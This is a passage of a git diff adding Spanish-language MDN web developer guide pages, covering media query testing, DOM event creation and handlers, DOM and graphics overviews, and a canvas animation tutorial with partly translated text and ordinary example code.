+ <li>{{ cssxref("float") }}, {{ cssxref("clear") }}</li>
+</ul>
diff --git a/files/es/web/guide/css/probando_media_queries/index.html b/files/es/web/guide/css/probando_media_queries/index.html
new file mode 100644
index 0000000000..dac4330054
--- /dev/null
+++ b/files/es/web/guide/css/probando_media_queries/index.html
@@ -0,0 +1,93 @@
+---
+title: Probando media queries
+slug: Web/Guide/CSS/probando_media_queries
+translation_of: Web/CSS/Media_Queries/Testing_media_queries
+---
+<p>{{SeeCompatTable}}</p>
+<p>El DOM proporciona características que hacen posible probar los resultados de un media query estructuradamente. Esto es hecho usando la interfaz {{domxref("MediaQueryList") }} y sus métodos y propiedades. Una vez que hayas creado el objeto {{domxref("MediaQueryList") }}, puedes revisar el resultado del query o, como alternativa, recibir notificaciones automáticamente cuando el resultado cambie.</p>
+<h2 id="Creating_a_media_query_list" name="Creating_a_media_query_list">Creando una media query list</h2>
+<p>Before you can evaluate the results of a query, you need to create the {{domxref("MediaQueryList") }} object representing the media query. To do this, use the {{domxref("window.matchMedia") }} method.</p>
+<p>For example, if you want to set up a query list that determines whether the device is in landscape or portrait orientation, you can do so like this:</p>
+<pre>var mql = window.matchMedia("(orientation: portrait)");
+</pre>
+<h2 id="Checking_the_result_of_a_query" name="Checking_the_result_of_a_query">Revisando el resultado de un query</h2>
+<p>Once your media query list has been created, you can check the result of the query by looking at the value of its <code>matches</code> property, which reflects the result of the query:</p>
+<pre class="brush: js">if (mql.matches) {
+  /* The device is currently in portrait orientation */
+} else {
+  /* The device is currently in landscape orientation */
+}
+</pre>
+<h2 id="Receiving_query_notifications" name="Receiving_query_notifications">Recibiendo notificaciones query</h2>
+<p>If you need to be aware of changes to the evaluated result of the query on an ongoing basis, it's more efficient to register a listener than to poll the query's result. To do this, you can call the <code>addListener()</code> method on the {{domxref("MediaQueryList") }} object, specifying an observer that implements the {{domxref("MediaQueryListListener") }} interface:</p>
+<pre class="brush: js">var mql = window.matchMedia("(orientation: portrait)");
+mql.addListener(handleOrientationChange);
+handleOrientationChange(mql);
+</pre>
+<p>This code creates the orientation testing media query list, <code>mql</code>, then adds a listener to it. Note that after adding the listener, we actually invoke the listener directly once. This lets our listener perform initial adjustments based on the current device orientation (otherwise, if our code assumes the device is in portrait mode but it's actually in landscape mode at startup, we could have inconsistencies).</p>
+<p>The <code>handleOrientationChange()</code> method we implement then would look at the result of the query and handle whatever we need to do on an orientation change:</p>
+<pre class="brush: js">function handleOrientationChange(mql) {
+  if (mql.matches) {
+    /* The device is currently in portrait orientation */
+  } else {
+    /* The device is currently in landscape orientation */
+  }
+}
+</pre>
+<h2 id="Ending_query_notifications" name="Ending_query_notifications">Terminando con las notificaciones query </h2>
+<p>Cuando ya no vayas a necesitar recibir las notificaciones sobre los cambios de valro de tu media query, simplemente llama al <code>removeListener()</code> en el {{domxref("MediaQueryList") }}:</p>
+<pre>mql.removeListener(handleOrientationChange);
+</pre>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con los navegadores</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>9</td>
+    <td>{{CompatGeckoDesktop("6.0") }}</td>
+    <td>10</td>
+    <td>12.1</td>
+    <td>5.1</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>3.0</td>
+    <td>{{CompatUnknown}}</td>
+    <td>10</td>
+    <td>12.1</td>
+    <td>5</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Ver también</h2>
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">Media queries</a></li>
+ <li>{{domxref("window.matchMedia()") }}</li>
+ <li>{{domxref("MediaQueryList") }}</li>
+ <li>{{domxref("MediaQueryListListener") }}</li>
+</ul>
diff --git a/files/es/web/guide/dom/events/creacion_y_activación_eventos/index.html b/files/es/web/guide/dom/events/creacion_y_activación_eventos/index.html
new file mode 100644
index 0000000000..0038e12c74
--- /dev/null
+++ b/files/es/web/guide/dom/events/creacion_y_activación_eventos/index.html
@@ -0,0 +1,144 @@
+---
+title: Creación y activación de eventos (Event)
+slug: Web/Guide/DOM/Events/Creacion_y_Activación_Eventos
+tags:
+  - DOM
+  - Guía
+  - JavaScript
+  - Sintetico
+  - eventos
+translation_of: Web/Guide/Events/Creating_and_triggering_events
+---
+<p>En este artículo se muestra cómo crear y activar eventos DOM. Estos eventos son comunmente llamados eventos sinteticos, a diferencia de los eventos gatillados por el navegador.</p>
+
+<h2 id="Crear_eventos_personalizados">Crear eventos personalizados</h2>
+
+<p>    Los eventos pueden ser creados con el constructor de eventos de la siguiente manera:</p>
+
+<pre class="brush: js">var event = new Event('build');
+
+// Escucha para el evento.
+elem.addEventListener('build', function (e) { ... }, false);
+
+// Disparar event.
+elem.dispatchEvent(event);</pre>
+
+<p>El codigo de ejemplo de arriba usa el metodo <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent">EventTarget.dispatchEvent()</a>.   </p>
+
+<p>Este constructor es compatible con la mayoría de los navegadores modernos (con Internet Explorer es la excepción). Para un enfoque más detallado, ver la manera antigua de abajo.</p>
+
+<h3 id="Adición_de_datos_personalizados_con_CustomEvent_()">Adición de datos personalizados con CustomEvent ()</h3>
+
+<p>    Para añadir más datos al objeto de evento, existe la interfaz CustomEvent y la propiedad detalle se puede utilizar para pasar los datos personalizados.<br>
+ <span style="line-height: 1.5;">Por Ejemplo, </span>el evento se puede crear de la siguiente manera<span style="line-height: 1.5;">:</span></p>
+
+<pre class="brush: js">var event = new CustomEvent('build', { 'detail': elem.dataset.time });</pre>
+
+<p>    Esto permitirá tener acceso a los datos adicionales en el escuchador de eventos (<span style="line-height: 19.0909080505371px;">event listener</span>):</p>
+
+<pre class="brush: js">function eventHandler(e) {
+  log('The time is: ' + e.detail);
+}
+</pre>
+
+<h3 id="La_Forma_Antigua">La Forma Antigua</h3>
+
+<p>    El enfoque más para la creación de eventos utiliza APIs inspirados en Java. A continuación se muestra un ejemplo:</p>
+
+<pre class="brush: js">// Creamos el evento.
+var event = document.createEvent('Event');
+
+/* Definimos el nombre del evento que es 'build'.*/
+event.initEvent('build', true, true);
+
+// Asignamos el evento.
+document.addEventListener('build', function (e) {
+  // e.target matches document from above
+}, false);
+
+// target can be any Element or other EventTarget.
+document.dispatchEvent(event);
+
+</pre>
+
+<h2 id="El_disparo_incorporado_eventos">El disparo incorporado eventos</h2>
+
+<p>    Comunmente es deseable disparar un evento desde un elemento hijo, y lograr que el padre lo capture: opcionalmente con datos: </p>
+
+<pre class="brush: js">function simulateClick() {
+  var event = new MouseEvent('click', {
+    'view': window,
+    'bubbles': true,
+    'cancelable': true
+  });
+  var cb = document.getElementById('checkbox');
+  var canceled = !cb.dispatchEvent(event);
+  if (canceled) {
+    // A handler called preventDefault.
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault.
+    alert("not canceled");
+  }
+}</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility" style="line-height: 30px; font-size: 2.14285714285714rem;">Compatibilidad con los Navegadores</h2>
+
+<h2 id="sect1"> </h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Feature</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td><code>Event()</code> constructor</td>
+   <td>15</td>
+   <td>11</td>
+   <td>{{ CompatNo() }}</td>
+   <td>11.60</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Feature</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">IE Phone</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("document.createEvent()")}}</li>
+ <li>{{domxref("Event.initEvent()")}}</li>
+ <li>{{domxref("EventTarget.dispatchEvent()")}}</li>
+ <li>{{domxref("EventTarget.addEventListener()")}}</li>
+</ul>
diff --git a/files/es/web/guide/dom/events/eventos_controlador/index.html b/files/es/web/guide/dom/events/eventos_controlador/index.html
new file mode 100644
index 0000000000..836b287123
--- /dev/null
+++ b/files/es/web/guide/dom/events/eventos_controlador/index.html
@@ -0,0 +1,132 @@
+---
+title: Manejadores de eventos en el DOM
+slug: Web/Guide/DOM/Events/eventos_controlador
+translation_of: Web/Guide/Events/Event_handlers
+---
+<p><span class="seoSummary">La plataforma Web provee varias formas de recibir notificaciones de los eventos del <a href="/en-US/docs/Web/Events">DOM</a>.  Dos de las formas más comunes son: la general {{domxref("EventTarget.addEventListener", "addEventListener()")}} y un conjunto específico de controladores de eventos específicos.</span> Esta página se enfoca en los detalles de cómo funcionan estos.</p>
+
+<h3 id="Registering_on-event_handlers">Registering <em>on-event</em> handlers</h3>
+
+<p>Los controladores <em><strong>on-event</strong></em> son un grupo de propiedades ofrecidas por los elementos del DOM para ayudar a manejar cómo los elementos reaccionan a los eventos. Los elementos pueden ser interactivos (por ejemplo: enlaces, botones, imagenes, formularios) or non-interactive (e.g. the base document). Los eventos pueden ser cuando se haga un click, detectar cuando se presione una tecla,  enfocarse, entre otros. Los handlers on-event son comunmente denominados como el evento al cual deben reaccionar, como ser <code>onclick</code>, <code>onkeypress</code>, <code>onfocus</code>, etc.</p>
+
+<p>Pueden especificar un controlador de evento <code>on&lt;...&gt;</code> para un evento en particular (como {{event("click")}}) como un opbjeto determinado de diferentes formas:</p>
+
+<ul>
+ <li>Usando el HTML {{Glossary("atributo")}} llamados <code>on<em>{eventtype}</em></code> en un elemento, por ejemplo:<br>
+  <code>&lt;button <u>onclick="return handleClick(event);"</u>&gt;</code>,</li>
+ <li>O seteandolo {{Glossary("property/JavaScript", "property")}} desde JavaScript, por ejemplo:<br>
+  <code>document.getElementById("mybutton")<u>.onclick = function(event) { ... }</u></code>.</li>
+</ul>
+
+<p>Un controlador onevent</p>
+
+<p>Notese que cada objeto puede tener sólo un controlador <em>on-event</em> para un evento dado (though that handler could call multiple sub-handlers). This is why {{domxref("EventTarget.addEventListener", "addEventListener()")}} is often the better way to get notified of events, especially when wishing to apply various event handlers independently from each other, even for the same event and/or to the same element.</p>
+
+<p>Also note that <em>on-event</em> handlers are called automatically, not at the programmer's will (although you can, like  <code>mybutton.onclick(myevent); ) </code>since they serve more as placeholders to which a real handler function can be <strong>assigned</strong>.</p>
+
+<h3 id="Non-element_objects">Non-element objects</h3>
+
+<p>Event handlers can also be set using properties on many non-element objects that generate events, including {{ domxref("window") }}, {{ domxref("document") }}, {{ domxref("XMLHttpRequest") }}, and others, for example:</p>
+
+<pre class="notranslate">xhr.onprogress = function() { ... }</pre>
+
+<h2 id="Details">Details</h2>
+
+<h3 id="The_value_of_HTML_on&lt;...>_attributes_and_corresponding_JavaScript_properties">The value of HTML on&lt;...&gt; attributes and corresponding  JavaScript properties</h3>
+
+<p>A handler registered via an <code>on&lt;...&gt;</code> attribute will be available via the corresponding <code>on&lt;...&gt;</code> property, but not the other way around:</p>
+
+<pre class="brush: html notranslate">&lt;div id="a" onclick="alert('old')"&gt;Open the Developer Tools Console to see the output.&lt;/div&gt;
+
+&lt;script&gt;
+window.onload = function () {
+  var div = document.getElementById("a");
+  console.log("Attribute reflected as a property: ", div.onclick.toString());
+  // Prints: function onclick(event) { alert('old') }
+  div.onclick = function() { alert('new') };
+  console.log("Changed property to: ", div.onclick.toString());
+  // Prints: function () { alert('new') }
+  console.log("Attribute value is unchanged: ", div.getAttribute("onclick"));
+  // Prints: alert('old')
+}
+&lt;/script&gt;</pre>
+
+<p>For historical reasons, some attributes/properties on the {{HTMLElement("body")}} and {{HTMLElement("frameset")}} elements actually set event handlers on their parent {{domxref("Window")}} object. (The HTML specification names these: <code>onblur</code>, <code>onerror</code>, <code>onfocus</code>, <code>onload</code>, <code>onscroll</code>.)</p>
+
+<h3 id="Event_handlers_parameters_this_binding_and_the_return_value">Event handler's parameters, <code>this</code> binding, and the return value</h3>
+
+<p>When the event handler is specified as <strong>an HTML attribute</strong>, the specified code is wrapped into a function with <strong>the following parameters</strong>:</p>
+
+<ul>
+ <li><code>event</code> - for all event handlers, except {{domxref("GlobalEventHandlers.onerror", "onerror")}}.</li>
+ <li><code>event</code>, <code>source</code>, <code>lineno</code>, <code>colno</code>, and <code>error</code> for the {{domxref("GlobalEventHandlers.onerror", "onerror")}} event handler. Note that the <code>event</code> parameter actually contains the error message as string.</li>
+</ul>
+
+<p>When the event handler is invoked, the <code>this</code> keyword inside the handler is set to the DOM element on which the handler is registered. For more details see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this#In_an_in%E2%80%93line_event_handler">the this keyword documentation</a>.</p>
+
+<p>The return value from the handler determines if the event is canceled. The specific handling of the return value depends on the kind of event, for details see <a href="https://html.spec.whatwg.org/multipage/webappapis.html#the-event-handler-processing-algorithm">"The event handler processing algorithm" in the HTML specification</a>.</p>
+
+<h3 id="When_the_event_handler_is_invoked">When the event handler is invoked</h3>
+
+<p>TBD (non-capturing listener)</p>
+
+<h3 id="Terminology">Terminology</h3>
+
+<p>The term <strong>event handler</strong> may be used to refer to:</p>
+
+<ul>
+ <li>any function or object registered to be notified of events,</li>
+ <li>or, more specifically, to the mechanism of registering event listeners via <code>on...</code> attributes in HTML or properties in web APIs, such as <code>&lt;button onclick="alert(this)"&gt;</code> or <code>window.onload = function() { /* ... */ }</code>.</li>
+</ul>
+
+<p>When discussing the various methods of listening to events,</p>
+
+<ul>
+ <li><strong>event listener</strong> refers to a function or object registered via {{domxref("EventTarget.addEventListener()")}},</li>
+ <li>whereas <strong>event handler</strong> refers to a function registered via <code>on...</code> attributes or properties.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#event-handler-attributes', 'event handlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'webappapis.html#event-handler-attributes', 'event handlers')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<h3 id="Event_handler_changes_in_Firefox_9">Event handler changes in Firefox 9</h3>
+
+<p>In order to better match the specifications, and improve cross-browser compatibility, the way event handlers were implemented at a fundamental level changed in Gecko 9.0 {{ geckoRelease("9.0") }}.</p>
+
+<p>Specifically, in the past, event handlers were not correctly implemented as standard IDL attributes. In Gecko 9.0, this was changed. Because of this, certain behaviors of event handlers in Gecko have changed. In particular, they now behave in all the ways standard IDL attributes behave. In most cases, this shouldn't affect web or add-on content at all; however, there are a few specific things to watch out for.</p>
+
+<h4 id="Detecting_the_presence_of_event_handler_properties">Detecting the presence of event handler properties</h4>
+
+<p>You can now detect the presence of an event handler property (that is, for example, <code>onload</code>), using the JavaScript <a href="/en-US/JavaScript/Reference/Operators/in" title="en/JavaScript/Reference/Operators/in"><code>in</code></a> operator. For example:</p>
+
+<pre class="brush: js notranslate">if ("onsomenewfeature" in window) {
+  /* do something amazing */
+}
+</pre>
+
+<h4 id="Event_handlers_and_prototypes">Event handlers and prototypes</h4>
+
+<p>You can't set or access the values of any IDL-defined attributes on DOM prototype objects; that means you can't, for example, change <code>Window.prototype.onload</code> anymore. In the past, event handlers (<code>onload</code>, etc.) weren't implemented as IDL attributes in Gecko, so you were able to do this for those. Now you can't. This improves compatibility.</p>
diff --git a/files/es/web/guide/dom/events/index.html b/files/es/web/guide/dom/events/index.html
new file mode 100644
index 0000000000..241f94e866
--- /dev/null
+++ b/files/es/web/guide/dom/events/index.html
@@ -0,0 +1,16 @@
+---
+title: Event developer guide
+slug: Web/Guide/DOM/Events
+tags:
+  - DOM
+  - Event
+  - Guide
+  - NeedsTranslation
+  - TopicStub
+  - events
+translation_of: Web/Guide/Events
+---
+<p>{{draft()}}</p>
+<p>Everything you need to know about events will go under here. We're working on cleanup here now.</p>
+<h2 id="Docs">Docs</h2>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/es/web/guide/dom/index.html b/files/es/web/guide/dom/index.html
new file mode 100644
index 0000000000..997730a412
--- /dev/null
+++ b/files/es/web/guide/dom/index.html
@@ -0,0 +1,21 @@
+---
+title: DOM developer guide
+slug: Web/Guide/DOM
+tags:
+  - API
+  - DOM
+  - Guide
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{draft}}</p>
+<p>The <a href="/docs/DOM">Document Object Model</a> is an API for <a href="/en-US/docs/HTML">HTML</a> and <a href="/en-US/docs/XML">XML</a> documents. It provides a structural representation of the document, enabling the developer to modify its content and visual presentation. Essentially, it connects web pages to scripts or programming languages.</p>
+<p>All of the properties, methods, and events available to the web developer for manipulating and creating web pages are organized into <a href="/en-US/docs/Gecko_DOM_Reference">objects</a> (e.g., the document object that represents the document itself, the table object that represents a HTML table element, and so forth). Those objects are accessible via scripting languages in most recent web browsers.</p>
+<p>The DOM is most often used in conjunction with <a href="/en-US/docs/JavaScript">JavaScript</a>. However, the DOM was designed to be independent of any particular programming language, making the structural representation of the document available from a single, consistent API. Though we focus on JavaScript throughout this site, implementations of the DOM can be built for <a href="http://www.w3.org/DOM/Bindings">any language</a>.</p>
+<p>The <a href="http://www.w3.org/">World Wide Web Consortium</a> establishes a <a href="http://www.w3.org/DOM/">standard for the DOM</a>, called the W3C DOM. It should, now that the most important browsers correctly implement it, enable powerful cross-browser applications.</p>
+<h2 id="Why_is_the_DOM_support_in_Mozilla_important.3F" name="Why_is_the_DOM_support_in_Mozilla_important.3F">Why is the DOM important?</h2>
+<p>"Dynamic HTML" (<a href="/en-US/docs/DHTML">DHTML</a>) is a term used by some vendors to describe the combination of HTML, style sheets and scripts that allows documents to be animated. The W3C DOM Working Group is working hard to make sure interoperable and language-neutral solutions are agreed upon (see also the <a href="http://www.w3.org/DOM/faq.html">W3C FAQ</a>). As Mozilla claims the title of "Web Application Platform", support for the DOM is one of the most requested features, and a necessary one if Mozilla wants to be a viable alternative to the other browsers.</p>
+<p>Even more important is the fact that the user interface of Mozilla (also Firefox and Thunderbird) is built using <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a>, using the DOM to <a href="/en-US/docs/Dynamically_modifying_XUL-based_user_interface">manipulate its own UI</a>.</p>
+<h2 id="More_about_the_DOM">More about the DOM</h2>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/es/web/guide/graphics/index.html b/files/es/web/guide/graphics/index.html
new file mode 100644
index 0000000000..bacd15f6e9
--- /dev/null
+++ b/files/es/web/guide/graphics/index.html
@@ -0,0 +1,53 @@
+---
+title: Gráficas en la web
+slug: Web/Guide/Graphics
+tags:
+  - 2D
+  - 3D
+  - 3ra Dimensión
+  - Canvas
+  - Gráficas
+  - Gráficos(2)
+  - HTML5
+  - Líneas
+  - RTCWeb
+  - SVG
+  - WebGL
+  - WebRTC
+  - graficos
+translation_of: Web/Guide/Graphics
+---
+<p> </p>
+
+
+
+<p>Los sitios web modernos a menudo necesitan aplicaciones para presentar y/o visualizar gráficos . Se</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Web/Guide/Graphics/Drawing_graphics_with_canvas" title="/en-US/docs/Web/Reference">Dibujando gráficas con canvas</a></dt>
+ <dd>Una guía inicial para usar el elemento {{HTMLElement("canvas")}} para dibujar gráficos en 2D.</dd>
+ <dt><a href="/en-US/docs/SVG" title="/en-US/docs/SVG">SVG</a></dt>
+ <dd>
+ <p>Scalable Vector Graphics ( SVG ), Gráficos Vectoriales Escalables, le permite utilizar líneas , curvas y otras formas geométricas para representar gráficos . Al evitar el uso de mapas de bits , puede crear imágenes que se escalan sin falla a cualquier tamaño.</p>
+ </dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Graphics">View All...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Gráficas en 3D</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/WebGL" title="/en-US/docs/WebGL">WebGL</a></dt>
+ <dd>
+ <p>Una guía de cómo empezar con WebGL , la API (bibliteca de contenidos) de gráficos 3D para la Web. Esta tecnología le permite utilizar estándar OpenGL ES en el contenido Web .</p>
+ </dd>
+</dl>
+
+<dl>
+</dl>
+</div>
+</div>
diff --git a/files/es/web/guide/html/canvas_tutorial/advanced_animations/index.html b/files/es/web/guide/html/canvas_tutorial/advanced_animations/index.html
new file mode 100644
index 0000000000..15ab72ee7f
--- /dev/null
+++ b/files/es/web/guide/html/canvas_tutorial/advanced_animations/index.html
@@ -0,0 +1,380 @@
+---
+title: Advanced animations
+slug: Web/Guide/HTML/Canvas_tutorial/Advanced_animations
+tags:
+  - Canvas
+  - Tutoria
+  - graficos
+translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</div>
+
+<div class="summary">
+<p>En el último capítulo hicimos unas <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">animaciones básicas</a> y nos familiarizamos con varias maneras de mover cosas. En esta parte examinaremos la moción misma y agregaremos la física para hacer nuestras animaciones más avanzadas.</p>
+</div>
+
+<h2 id="Dibujar_una_bola">Dibujar una bola</h2>
+
+<p>Vamos a usar una bola para nuestro estudio de la animación, entonces primero dibujamos la bola dentro del canvas. El siguente código lo configurará.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="600" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Como siempre, necesitamos un entorno para dibujar. Para dibujar la bola, creamos un contenido <code>ball</code> lo cual contiene propiedades y un método <code>draw()</code>.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var ball = {
+  x: 100,
+  y: 100,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+ball.draw();</pre>
+
+<p>Nada especial aquí; la bola es en realidad un circulo sencillo y se dibuja con el método {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.</p>
+
+<h2 id="Agregar_velocidad">Agregar velocidad</h2>
+
+<p>Ya que tenemos una bola, estamos listos agregar una animación básica así como aprendimos en el <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">último capítulo</a> de esta tutoría. De nuevo, {{domxref("window.requestAnimationFrame()")}} nos ayuda controlar la animación. La bola empieza moverse por agregar un vector de velocidad a la posición. Para cada fotograma, también {{domxref("CanvasRenderingContext2D.clearRect", "clear", "", 1)}} el canvas para quitar los circulos viejos de los fotogramas anteriores.</p>
+
+<pre class="brush: js; highlight:[8,9,24,25]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();
+</pre>
+
+<h2 id="Límites">Límites</h2>
+
+<p>Si no probamos los límites, de repente nuestra bola se agota el canvas. Necesitamos verificar si las posiciones <code>x</code> e <code>y</code> están fuera de las dimensiones del canvas y invertir la direción de los vectores de velocidad. Para hacer eso, agregamos los siguentes pasos al método <code>draw</code>:</p>
+
+<pre class="brush: js">if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+  ball.vy = -ball.vy;
+}
+if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+  ball.vx = -ball.vx;
+}</pre>
+
+<h3 id="Primera_demo">Primera demo</h3>
+
+<p>Veamos como se ve en acción hasta este punto. Dirige el ratón dentro del canvas para empezar la animación.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("First_demo", "610", "310")}}</p>
+
+<h2 id="Aceleración">Aceleración</h2>
+
+<p>Para convertir la moción en más auténtica, puedes jugar con la velocidad, así por ejemplo:</p>
+
+<pre class="brush: js">ball.vy *= .99;
+ball.vy += .25;</pre>
+
+<p>Esto reduce el vector vertical de velocidad para cada fotograma para que la bola termina rebotando en el suelo.</p>
+
+<div class="hidden">
+<h6 id="Second_demo">Second demo</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Second_demo", "610", "310")}}</p>
+
+<h2 id="Efecto_de_rezagar">Efecto de rezagar</h2>
+
+<p>Hasta este punto hemos limpiado los fotogramas anteriores con el método {{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}}. Si reemplazas este método con un semi-transparente {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}}, puedes facilmente crear un efecto de rezagar.</p>
+
+<pre class="brush: js">ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
